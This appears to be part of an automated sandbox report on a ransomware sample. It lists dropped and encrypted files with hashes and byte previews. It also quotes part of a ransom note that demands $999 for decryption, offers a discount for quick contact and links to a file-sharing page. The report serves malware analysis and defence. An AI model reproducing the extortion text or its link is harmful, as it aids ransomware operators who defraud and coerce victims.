Preview:	[{"Sy.O....j.pL.C.....j.B.f.....f]..(..V9.NO]t....S.P._..........(dg..nu..y...&v.".x.V..%.<..-.8...\C...,..B....].4K.~=..'7..1..8e3.A...q9.S.:0./@.kn....t...X.._......@a... ..lXsH.s.....F]R\|...k.!9.Q...C,...Dy...9S.D..wU.....U5.......d..cL...8x.<....c.......C9.....L..{I.".f..\....Ai.r...{0$.....u?@..UL........9.^.\|..?A..x...N`.;...Ws(Y.19..Ihu;...$......w.T...,.$d...g.A9.h6r..K..~+%.....=..b.....%n..Mb>...~...>..Gm\|.k6...^w.[..^.A.3".Z....o..F.u...vNEEJ..8\|]....,.....o.7K.~.....W.<......w....#c..m..E..F..k/....$....dT....3...~..y....@o7...r..8...,.+..!...m..6.x..Y.{NA..(N.o..../.e.Z.f..w.U...L(...yc..O.....~.IXj..GZ..,'..5.f..(..E.p...!f ..j+.l.d.W...P.`.lV.G....8..K....q#.J.r$..^D>.....2..Y,.d....!#......-i.I.+..Q...w....kB?#......:e..U^..$....i......5f...B..0....X..."kv.....W<8._..c.2..wF...g[....?...kF..bD.....\|..!.No$_F6a.....#VY-83....0/..]f.b.E..wv/....t.#d.pV.O.(..."p..&...D_w......z.Q..>.,.Y.u.'..Gh1..5.I#I{bN8....V.&';....)-.D2

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584165980567282.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	114325
Entropy (8bit):	7.998391243814061
Encrypted:	true
SSDEEP:	3072:Zha+jnjtKqN/CxeuYVi9v7BxmqEPXyqJnpc4s6rArru+E:Zfjn0j9v7BAXy8pc4s6rAvu/
MD5:	42D9215E8A0569D74F25D1C72C2AB088
SHA1:	AADF9508F1D288A1698DC69F9D7D90E6F500E8F2
SHA-256:	79E981316AF7F2C4CD2F106B2945C639C745037D4FE5B88B99D9793D0C4EFC7F
SHA-512:	C61358FFD025B2795C33BAC866A773672EE07A7AE0A72E4F8F618E4B01DAD6C08B458BA3EE1B487EB132917ABCF547904478BF1A09C27BAC7F16634DEA9CEA94
Malicious:	true
Preview:	[{"Sy...i....Qs...[S.3.?=$.O.S.F..^f.F..B..t.DF.<.%nX.......r.>h......E..k...i.'.?.W...B,6G...</...>&Y...k..i.j...Z.x....Q...E+..@........ggA..b......G.`8l....,....<K...W.,.%...m............d...rU...js3O....[!..Qq...P@.{......!.<...[..\|Ux2.B...D..\T-.v.o.`...W.............-./.......%....w...@..G.y..?~,.p..Sy...#Sz..\|..-T......@).Knh..z..........\...a.]$.].v..I.s.k.Q.....K0..T..d.>.......q......w..Dx....t...T..\|z.$....{.."#.X.j./.n.+}...\...8.@..v.....iln.....Sf.......f.y......>6..(.riI.C..o...t>..&..n2#..C..\.j..@....l...1G.Mxn.X...f..5....o...e..T....<.1..u......PX-.J...~].'.....;.^.h.c.Z..B.C..._.G.a..........a..j.@..L.Fm...e...a...t....kH.e...../."../.r;~..)..e....$..\..h-.)./0C]..x...C.\|..I..S.7....';....G.yg......@X:..S:;.....I...5xB...._.{.4.&..m.x'...EP[...8A...r...ZY.......a.e.x.....a..\.Y.........!Ot.6!.+...39...$.....8).Z..Mh../.....-....}1...Smsu..(7.....+..Fh..4^...fj....]<..R..x.\|1.E........*cw~.....6..x..-

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584166283882400.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	113650
Entropy (8bit):	7.998456212145953
Encrypted:	true
SSDEEP:	3072:Q/gJZ8j+qvvcuOOKGcan366F1jszC+OwgAo6dHF:SwZ8j+2crGcanBF14++OwhdHF
MD5:	3810288C764CF08B20E0844FA98E6B19
SHA1:	7F4A71DB815B38E21E13AFB6D6FF88B649FF46BD
SHA-256:	B40CCBAF506CF798A9B0E5F4D5D9545EFCD5D0F59FD04D86B79BC9832C909D93
SHA-512:	23820D4E1D5C45FC03741FB6EE2092DAF033F9ABF1E895C89FC6A520F699BE8422DDBDFF742A5F0B7EFC2422434A477EF9161550C66F197DE69183350F611761
Malicious:	true
Preview:	[{"Sy.......S...v..F..)....Ld.$`..8...^H)..j,....x"....vKi..5..&U..(.....x.`....J..W,.:.[ZL{AJ..h..I.x...X...]`.X.%..C....{......k.....x..I..bM7.3..3-eI.w~.....D.n....5^...............>...xa/A.`:..$Y..Y^.B.....'.#..`v^Wh..(...3....5=&.dmKox.C........ \.(..Tm...!.......S...g.Q4v.t/Z0.d.. .9.."..[.".A.9.O.S..B....n.....@...7....UP..GO.......rQ.x>. .........7.K.8...xVN..<v.v.0.k..._..b... .^...vP.([...v:.q.M9T......o...1wB.2..e\.w.Z....0....E....F.Y#7..(.`y.7.._oE..,..B....$..........J.......W.......Ax_^.Z..6q5...L..T7..i.\R..!s.Q.m"..F.q.....\.~.=.9nJ..D..=G...-..7.\E.,B.2..E.....Po..\|.=...ix.#.._`.$90..O@ .w....d........Q].Z.o0.).>ye..!."...3...a....>l..&..'.c...A.z...B.......t.>. .T........T.A....v...].&K.v..K.;6k..=F....X.5...1U.Lx .D..\|..R/7.}.K.pZ.EQD)..lW..8..{.^./x&.q...9WD2.;..O(.IG...N.{.%.\.> m&......T....U.<...B.....U....N.f...A.. 9..~G.,....q.q.95....5....~oTEP...O.x.k=.g..x..E w\(...?..M..,...:.%$$og.....q.4.._.4=c$....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209045481657309
Encrypted:	false
SSDEEP:	12288:/fG/XvojVSooGotdYuMOCc5MpzgroTDLgQ:/Ovvoxb1uMOCc5MpzgroTDLl
MD5:	46613E0A8C1B9CD2CE2EA22976161C28
SHA1:	7A53B640E7A2AF2E5EC267BE3190A18909C11B9B
SHA-256:	CA04E558A2DA10E0D5270A3E19A1971DA3B5B50261131DAF15A6B9E355AA588C
SHA-512:	97737002EBB39C2C9AF69EE5AB54AF50A2B7B301AC0508F3086FF181E0E737CE98EA7B474B7F3EFCAC60C773602F522B134BAB1BC21CED9908301287ACCCF5B4
Malicious:	true
Preview:	[{"Sy{.O.m,...~1...M..R...@.j..}...r.....do<.tV....n.d.....jP.K.D._.'..l.av{.u.b...^g...D......[Kj..$t.@.s.....X.M..Cd...e....@....-...._.%......T..N..4.^3F.....#....'.J>..>6.... M.8#).....w..z.Q.p..o..5.0%K%E.#DG...9.3.o.{...V>O7....4.9.T.b .....[....Q.D/n....[....};.<......#..TZ.@..,X-R#....ZFVB...s.i.tvq....b..o @.7.%...M...\.e..a?u.l....%..{..4.r.....8..$mb.I.&...O..:..Iq.m).\.=>. =!.l[D..\|i...R....]....&>..g-^~>.%k%..V..;.K.....n....u~........[._`..7.Y..)f8..(..>7w.@.3).$..i(.~.h.Ng..../as...\....C.....1..-"...IRM.%..u......X...?qc......?..(OW'.H.......+.........B.....<...e.....z.J..J.......s.D"..E.GG...P..\|...y.3..$D..9. ..N.V.c.s..........T.....N.Y7....D......9'.vcHZV{..e...j..$...(R.....P.>C...^....=..H.b~cl.\rU...`.9g...5l.g.I..1.._.yN.U..g.W....[`.j...1..zWL..x.....+..P..64~..F9.FK.../.....8.{...h.KF.R=4.......+.....+........./6a..7=QQ..j}..S....~..olsf.w.[O..t(.\..[..i....@4...9.....T%[.t......a..p..lK\|.{...B&.8f8.3x5.\|;d...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28781
Entropy (8bit):	7.994235236634378
Encrypted:	true
SSDEEP:	768:637DiVKOJUe7/asCF9MfWcYk/hfTxwCm0sspF:C7DiVKOjrCrMwgVpF
MD5:	7B7D6F7B4BB2C6C243617416ED9AFBAB
SHA1:	45D02F74DBE82639BFDDFEC0574E9FCBA39FDC18
SHA-256:	992E172E29B9100912BE8A3508F190D3428D94881FD3872D8A6FF67150E8F78E
SHA-512:	E8BF3ED535C78171A598D588173A767492D5E70653F3668DC146436A52686986609B5621C378F7FA75D88CD50DFD50C8A2CB70554D7D858990A29A0B9F470122
Malicious:	true
Preview:	<svg ..=.m..g62c..<.Z\K...;..-M:^..z+........QK.n...5...e.c...W.........t..[."?.<..d..W...Q......6D.....R.F...l..XC...C......5.........Y\..4.$-.&.V.#W;...$q...1.p.>vj!Pg..\|./..N...4.@+.S.....I.l.>../.A..?.B".../....5Br.sz.J.".@..3...\/c.5.u...4...Kr...K.#.F......?...Bd....}{...9Lgx`.S...gZ..d.c....yP.k?..v!\..6.......... [...7.?...cUZ...@.e...m5...^<.G.2.U..CzU3._!U........}.-v.DH..[J.z...lt..l...=.S.;m.q.!....~..G.h....G..i..6.%..D.-....~......0.....F}..X....v.o..'.......E;...+.....L`L.B3~._z+.vYe..3y....J.!.(. ......&t\i...$.C.C..5.,....j....l.noVr.9sd....Mvm....S.F>.~...5Z...W.....g>_Ff9ju..(Q\|.1..0\...G.>.....%..3.:d...,..sW............{.S,..}0A.<..F.l{n..Q.h..A..!Jn.In..;4&....'.K)...!.T..\..O.O.\...>N...... ...C{6.C...AymM....(...@:\|....Y...l.=.....1.........l.SK.(y{.. ..........0\h.. i.F..4*....y.}]S...T.<.....Q....@..M.>QoY<.!...\?I=..x...E......1.x{.Ch...G...O;.d!.....Ro\|.A$\UtX...q.%x..^aaQ......".......o;sse.2(..N..?o.1.S0..~D.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-LIGHT.svg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	28813
Entropy (8bit):	7.993794910673503
Encrypted:	true
SSDEEP:	768:18HYnza23T/h2IbAOoW9F2Mj5FYkHtrgDei3AZszqEV/YUGoszTTyi:i4nzv3bNho0YMjvPF+13l2EV/nLqTF
MD5:	D0261366ED3FE0E28F06F04F61850EBB
SHA1:	D42969512B528E1CD7B170BAAAB2B0BE0DFB2F4F
SHA-256:	7AE4CF2245E5488BDEA2E9A662E30E0004F2F618FCEB876F09F0EA442723ED85
SHA-512:	6190958694D8BC8CE6486A618E8CD40C42715BBA0CDEC2041309185F5AE6267C635D341726ADA5A26D54E688208E83B1E80BC90E876CAF38E2CA46EB12D3CA94
Malicious:	true
Preview:	<svg c5...q../.EDf....#.....8...bW"d....9.70.9...<.....V...B...0.U]..7.f....K`..S?...0h...H..p.y.......6h\|....nh.i3.. Y..y.D6...A..P\.O.........h+..X.95..."..n.n.......H!..S...{..C.@....E.eM....3b...B...\..C.G....2.d....v:..}.$Z....F%.N.k].e.f..z.4.....V.J..;..4H.#.....H.......@.gXp..p.4......%..?....".?..q.Rx=...t..._..n.......f..3..1...7^..e........y.[K..-.._?.....N.X.7.q..-....o..oN..o..d.-...}..v?.%.M].T\..ej..S.g[....Q.A.$....,.q.......D..<...+ ..U.y.=.Mq'.^./...Vq..7...RdTly..C..i.y......].L..36.J.c...e..?.h...!.~..n..h.P.<..9.. .W.g\|G...~.h.....v)0Z.Y..i.}.Q.:m-...p.!.6..<.!...Y.+t....a..9..I.M5J.......U.2t........Q...>.k.8DB....v.}.f.....[....,.o..3.Pq.Tvn........u.......W..!..Et......y.t.9L..%v=..].....r......J....nN...l..k.qf...3,..q...>..x.... ,.......K.i.........%.?.M..@....B..s..g..q/.....o...I...K.jR.O?...}....'.O.Ol.7b.............P'.!.?+....5_....xI.`.Xl..N..L.i&JE........E.T..iH9...>.xq.Jmk...6..$7'..37.qx.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\IDX_CONTENT_TASKBARHEADLINES.json

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	126862
Entropy (8bit):	7.99857609588936
Encrypted:	true
SSDEEP:	3072:yDDTnOX6gDpbKzFDmb8NCDl+3YR5jPcqd:yDWX6+p8mVDw3YXPPd
MD5:	33B06FC22F83480490A5F04448FBC88C
SHA1:	442479AC2696EF20917F13C8B39179A377525DAA
SHA-256:	C24FD42F0632039F93BBF1B77330067D63C16D09DA4E68AD19E14EB8B7BDA8CC
SHA-512:	845576AE50E5C3EFB5E951FDAD27BC93B046567BBA139F789041588FF83780E038E628BDD84A7DD124206EBF4BDB2561CCA41DDC8391B91C12088384A0D2BC0C
Malicious:	true
Preview:	{"loc5~8....5N...Y...).].......W..u....B.."...'S...G.....-..X. /.....+..I..OWqZ ..j!...v.&..^.g.$`.v.h..Rt^.G.........Q.#..\.\|..r..a.{&..W.Y..j...I.....B....@p.a......!."....=A.l.....>qUY)B3..........).......i?.[.T..xf~...o..42..s.G..-.B.....JIxzA..U.D.J.$.wS..{/.."...7.q.....x....k..)..m'7.,..F...p..J?J#F....-.....T......k....%^..f....6....l.@..RHn.R..M"V^..7...B...k.BW$.`y.Jb>...i..M....B.A..a...jE.d1n.,....e=..C..>..5.....[.Yq......z....."...F I.......h+.M.R..........n.Z.y....".........2.z...{[\|...O.!s...5..[c.............'.`s.;..-.G..8.0....P.:..3...7J1a.T..~`3.-W...L...u.^-..;..2..x%.E.K\|.:....R.F/..7<.......X....qa\|..@^.4....E.......[............O .X,...9.z...=O.....J452..+...ii:t.w..F..as.h.l..#..J...C"......A..5.7.......r.^..Tts..k.tC....X..S.......:.....+fn...j.....h.U....vL1........S0=`..a.N...q].....tr..V~.. woa..m..s$..j..>....B-..4...On.r.F`g..r...J.i.x:....Bi..<p.w7.c*.~.$;......#.V.R.q..o.\|X...7.=>.5.........[.bc.Y!x..8....^d.h.

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980030045739592
Encrypted:	false
SSDEEP:	192:PiUTzJPvRNNauFJWlHLvEGFAR3TYyNY/FRqTjZBZPNVqChwB:PlBPnNLJUHbEGFAR3kEYdRqTj7BJCB
MD5:	C7E456154C97B30029B03B57B9F1E41C
SHA1:	B834C3E64C12E272F62C45E8CB7011ABE35C8C95
SHA-256:	08A2F659F829990E149C2C270950B9292930876821999CA0346282ADE81FF550
SHA-512:	6A22D5337706660B7BFD4F8BAC5E79994CEEAFB17E408CBACB43ABE6149D9F6D206F53FA0C5D85AA7F0C0E81B6503C386A19B6E09AF923BE48930BE474C67CFD
Malicious:	false
Preview:	regf..@l0TGb.U.E..{.r....=.K.!.#n#Cz..W {gy.........$6HR^.....Z0....V..Dn......U.;.n.4.k\.....O..........m..B...n.b.._9...W...AN........#.i...T/..m}...s.....w.m.~.0%.C...EG.W\|...P..6.E..;....W.....Y.....f..Q...@S.GX..Z....,".3:u.6.!.id`.C.k2..?z..C.p.a.K.....B.Z...g..$DQ...k#.k .%.bu.....&...h...R/.G../..3..P...H.L.;..C...........xTj....&......E...o.4V..AX..`.R..R.ay...Kc..\..PuP.`.W..<...^.....E...d......EIYF...>....s....-j.re.....!64D._M..+.....`.G..Op..E.+...........\|.ans..F..P............x.z....L.N...:...-b....Ue.+.....nC...\|.....v4....-.(...[...n..P.2.;Z>..v.-.<r.@..4..c..b(........<....r."..=1.:3V....4..U2.k....R....yo.....:/.E?...^.l.Sb....CY........>...x.'.z..hH.....7Z.5....!.i...x...w.F.>.L....Ys:..4...T..Q..0..<AX"y...g_......V.i..F.....Z.l..<.i.S._C9.Z..../.*.U}u.%3.0..a......s.F()......21..DH........Z.....G....oB......j...O !...(-..'.....j.X.`..d._.jNg.3...X.K...tUk{.).h.......?gw$..-.#..3!pD..j~.$.\|?7....a...>{......Rj.$

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204975894735851
Encrypted:	false
SSDEEP:	49152:CxM38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKOC:oKF1qd/LKNC
MD5:	D8A3C21146430B04D6C54AD000F4D17B
SHA1:	AE1BE8063853426D9FA195781C0347A22EBE79EA
SHA-256:	724978D3C0ADB4B9DEF75C007788A8DF074F5DA2E78D2FD3CC71A52692122A48
SHA-512:	11FBB1A7C5996FC23EE7CAC55BDE9B4463CE50252DF6B1094824207F4329848A3A3AF719B9CCC8FC58FA389893F3F55F6E6634B9E8E2DBC5306045C154778A87
Malicious:	false
Preview:	Micro6C...?.a!r...r.A7".zw....}.q..1...-Z..c?.]...b.uV..` ......SR..@}.P.:.VA...M.S..N..2~.I...m.....`.\.bkG7..8....=`......~.!.yS.2...u..X..-.....v.Qo.l.Wsn...\|5Y....:.u.t.03g%...'.....,..s+.&T....k...^...OR.......l..m+.LY..^......a..m...o1!..}..$;.-.n.W[4.U\|s.c[.....{.F(.\|}...\|%..u=$..M0.TB[.aD.A.}o..!!...g.... 5..{.q..^W.N..+...[..&......g.4YEu.A.:...uP...h..<......g...Mt.66.J...X..%i5^.p.t...../ee..s....+..Z..N~.k.....:....u...+!vn...`,..wf=S...B.]u3du.W..=.r.5C...........z.M.`.Tf...w.. .=.\.v.?...I.Z..4BN.U_...#......6.....0E!;.-.`.S............\|.QI...vY......?k.s"..0.b;.)+.Q.ed.?.xjA.!...a.Y.*nOSY}.N.WH......\e ...C..]@...j.....X.}.5.q.....72....1....;P.2..rM..N-.2...f.y../..ES..........YD0{-.I?2#..i.=....m.^...`...Q...;.E}..,.L.x.....P.....P..&.L..8.v.&]1}....(.I..V.=7&4Gd..h3.zt....{.#kD...q...\m...O.57.3.EO.7.~6C..M.v.1.....ND8.O..........M.y..mk..C.."B...V%..."...C.#.UF..?\.u.7.-]z../..'..t\|/.l ....d....L......q...7.(2~

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.2050697196183675
Encrypted:	false
SSDEEP:	49152:znW38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO8:EF1qd/LKN8
MD5:	620166237F3BC4DD1744B0E291DC2900
SHA1:	8B016A88B8E465F152F37E1D5731531AD3408B55
SHA-256:	C806733FAC05C0863FA069758E51CAD07519B0D1A44CCF905199DADF04D54778
SHA-512:	344E1A4509732756DBB10783A35F32B6AC13A9E61ECACE7E6424CD76B7BEB119FFFCC5FDD6B7B6FB49C6655162F2F7722EED46BF002ED21FF8D3B5A7F877501B
Malicious:	false
Preview:	Microw.Z.....A.....;.K5....R.......Y.....T. .?..t.].T..c...fP,........`.P.U....s....n...>..V^.6,..$c9.`.=.X.s......~..vB.%.l...(.....j1K.>..bS..$.....!...{.#..T.{.v..4.._...4......s..cJp....1.3B...&1M...'.K..>......5p1.K.}.$[..9.[}Uo.K...&..ns...i....e..Y15...J....2B$..Y'.'zU.8..C.e...h.`e\|...7.v...XO}.9yR..q.....;....L....vy.>7b}...u...N.U..)3..k.0.q.7]RW..:...L.,.P.pj.4.-..Z..U.....$......Jgn..Tlua...3...rZD5.X..3....i.(..F\k.l..... ...0..^..f...b.1...dcCl.(&o.X.y\|l.'pc3.....;P.9....Z...A......X.W.8....3-,[...2..0^C....O.B[p.d....&....\I.=6....4R...........y..).S..c..'P.../#.a@F...+....\.<..^8......T...K.b. .f2.9.*...^.}.<.E)B..K...$.e.j......3..Vu.>..A.(..lB0..I......j..8.Zul\.\.B...@..S.m..I......`...6..........([.{.....&.yD.q..G...K.t5....Z.Lk..~$aT.-..1...[..x.._e.E+....h...a.{...C..9.t.....<..........~..E1{..K.F.l...n.e.s1;...r\|/.6.^.<...@]..R..O..&.>...4.\|.@.S..w.@.?..i..............:xr{...ui..... .f.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662255617317289
Encrypted:	false
SSDEEP:	12288:FQV3nQUNPWVbJQ4aKVmaS4aMz8Pg3lxJo2cvXtS:2ZQmwBaKVzaYcAqtS
MD5:	C628BBD8EF005042D0617232E06357BA
SHA1:	4659512394A004B3A3CF8DFE3EB6CB4DCFC1A0DE
SHA-256:	8839604E638999DA15AFF45FE728E83ED6F290089F045D18705DAD6671C5A1CA
SHA-512:	360FA74B6289E2B4CAA12AFAA4BD03D5F382F3C009469A08C3DA8CB5CF4A726049E2B429B940B0C0D4F048DF3F8AB50CC0A33967E0825F41FB7ECDD40E73A844
Malicious:	false
Preview:	Micro......l;...m..4}.0..Lfga....l.?..]...'..H..`J....N......3aS...i..g.]Z.Z..].....oQ..Z..n\|.......q...mB..MG..a.#...3.W.a......e..!.''....p3.6VP{Y.1.n_.....=.9....A.v=...Q.p...I..:h..(.C....M.q...u".../.y<..g.c.l.jX.....ewk...%!W.~ta.y.>..8.:.v].<.^..7.....E..x...a.M.....qP...T....Q....;...]...6...........1.....u....d..Q#...F..(....8.J..4E.Z....0..izT.....^5j.V.,].E4....o.....NE....N...{.f...`.....J7.;@..!.....)q.l}.\......Bau..v!...0SK.0.9.&.h.@.pDQ.>.......so...9.Q......0a=.i..t...(!.x....O..... ',Kh.AP.n./bC......X$...}..Q.S.r7k".%.e..G.^L..T....v..j/o...vN.q.D......8.a.%...l.9TS.W\|.-...t.\|..vi"..dk.nx.N..?.......-...p....f.q.?...pF2..!......................u..:.'C.B..z...N....A....Q...+u.....3.Z..[).l....%...]iY.X.9..Wu.......X..x.3{.)..A`....f......g'..wS..h.....P.\|.:.X.dRM..@..%O}].1.Cc]...'...7.9...V.._u..........!.j.:....$.p........X..\3Ia.I...;.7...e....8.....I.D..j...9/.)...'T.."....V.2Sa..Te..p'......O.I

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.6629917125558
Encrypted:	false
SSDEEP:	12288:6Y0+CNcpdWljTkPDJQ4aKVmaS4aMz8Pg3lxJo2cvXtp:6X+CypAePDBaKVzaYcAqtp
MD5:	0BE9F78F1081DF8EF76EF9A1362C8BD8
SHA1:	4BDE52B7AA26F1D17D4D2D14A7D12628D0488AC5
SHA-256:	ED2C670C1EDA7DA3BA0A384F8F5245691FB172D05F9E1EF88A011E8CEE4E26E7
SHA-512:	F33D52F899C3C21188C812ED3E87AD32D9CD42C35B2280BEE271DFD3228B955812489D51A5D734DC2B8F8D2334C0907D8AB16C4A6EB0F8611679180A1626E155
Malicious:	false
Preview:	Micro6.1a...<.......k..0.\..e.<...X<.\|......k...=.....\.....<...w.J6.....).7..\|.7.E..........7..`7.yW...jPw.....I.,>?!..{....U.z..?Tq.. ....'.e.$k.w.q....W{.D.....r..].p..tV.-;.H...... .om...s`fsd..`..e....~....G..........T...)J'.X. .9.....D(.\|c..` a.......E.w.2@.B4/R]..j..j.[.Nk).2......v).g]......]....O..{r.......-.D...-A....&..F2.\|...6@K.w.pP......}J....MSa....f.q..9.v.r.,5..'.Q.l..Vt...e..U}...b.-...3..Z.\.V...Df)..#..P...N.J....R,.......WG.m.....A.a.+n;.....An..../....Z$.e......t.....hS.S....`...'#..,.c..8..v..k.1...f(.;%.["-..i.Yy"97...C.^..b..&J.h...r}@v.............2....&....g.6....a..:..(....G .Ww...:......O...C.;..2...u..Bk...;$z..g. $........M.c....C:J4.p.....F....N....f.....5..a..c.Y.V...m......3x...2.....2.^q..b".../J.z7[.C#7.6 .7-......6..c.(...af...u....fF....8........X.c,].o.H..B....0..'.W}....\|WtW.W.5-........1...0..."...........^J/...v\|p....a....?....1u9;R1Hcx..3b...W.4TB...ub.M[G.]!.?..:.0d..^l...q.H....a.8.x.....a[.

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.898327877428401
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3K:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kB
MD5:	EFFCD993E52F5530DA7BB628652D00C6
SHA1:	19B79C4EFCC161042FC6494AF0F9CF2AFB848568
SHA-256:	90FC1E6A418992AB249D3F401FAE59738405BF4EC252579556176940B33E7C8A
SHA-512:	4A63FF788169A332E689C3ADA68D311BFC6A81C72203339B1B21BDF930194EB70934A3605A6E24210D5C46BDA39509A673BF649694A06576E0FB1AAB6DE9372A
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997294994900709
Encrypted:	true
SSDEEP:	1536:LHkk7gRSoteuHP8myR5ip/8qfzImww23a7RaAXU5E0OC9ign:LEk7gxem1O5m50fw2qYa055n
MD5:	1CAA5F035B69FE63B11F2AD24553B264
SHA1:	9F081F50BED7E5A7BBDE4BF1BDE12CA293574BBE
SHA-256:	904BD10E336FA45B08359B2EA7602828ADD7148CD5EA67B491970FCE8E5A11FE
SHA-512:	66146F40DBC8E84BBE8091594A624ABF1131D2CF29FEA1FB53B8F48DEE0A069796E0441DC640078DEBE93A23AB9CBAC0C98A58BBC9C9F8D8CE016F65FDABE438
Malicious:	true
Preview:	0.....0.x.d...F....8..2.G+.A..m~..N.&ab=.P0{q.^._.j..<;..p...4o.k......$.#.M...\|..8x.@....T(.w4]..a...j.....}.=^..\..J.<.B.pS.w..6..gI..z.TW.3+.l..q.U..N..q\...0.:..7.C@..(Z..w.@.P.t....'5.. f.g.:.....(.Ld.-....R........}&..6...}P..._(.cm.....o.Y>......"2T/p5.Q...W.v...D;..#..s....a..?..L.Y..Y...yc8..?.kCp.A.;..!....T......{..DKs)F..........FQ.p.B....IR.i%.%. ...7....]v.....p.......KuL...)gV.%.I.y...5n.?..b7.Bd .8.O...j..Lu.5;.Z..l,gD...@..q.p..Mq.LDU...Z......H...... :`:...l..5.%N&..A.....7.@........M._:..f.jsg4.Cb~:\\|A.E. (eepr\|....M... ......91Z..a.G..S E......>....+&...N.....A?.....0...~......%...9w.......#6.y..I...._..w...Ru1x.+Thu...;..`.K..M[.#v..$......s..c......].0.2....M...KBQ!\..;.../..Y:.>.)..l....PJ.....{.".g.T.x.9J.B.`.kCU1.~...8@...FP....0...-.....:.C.".z..e_A...va.......t.7..%.;.!.}....;..w.....:..g.&....E..z.M.k:.2y..d..p......W.{.R..t*...I..K.`..OyGE.Y.U]2..tr.H.=x.....-_..O..?#......7{..X..2.)N.nD...x.=O.J

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.837724331455641
Encrypted:	false
SSDEEP:	24:y/GuZOx9hIzA6o2uCE1D0rxlN+cguYji4kIInnqJiTkbD:yekihIs1XCdtT+k46IUntiD
MD5:	62CB01DC22E138A43F78461128E9FFE3
SHA1:	F0116EAC396C3A151886CA5AC5D0620094E1FE2A
SHA-256:	C3D433422D7334943D3738BB768F06FE7DA22AB73A894DDA5F62220B74D2A1F8
SHA-512:	6F4A61DAE6BA17FEEFCEDEE657FFB09678575A1F0FB57B90E390322C36C6272FB9AA15276A076C50CCA30036949B8AAA089C51962270F7AD0EE35DD3B1D5546A
Malicious:	false
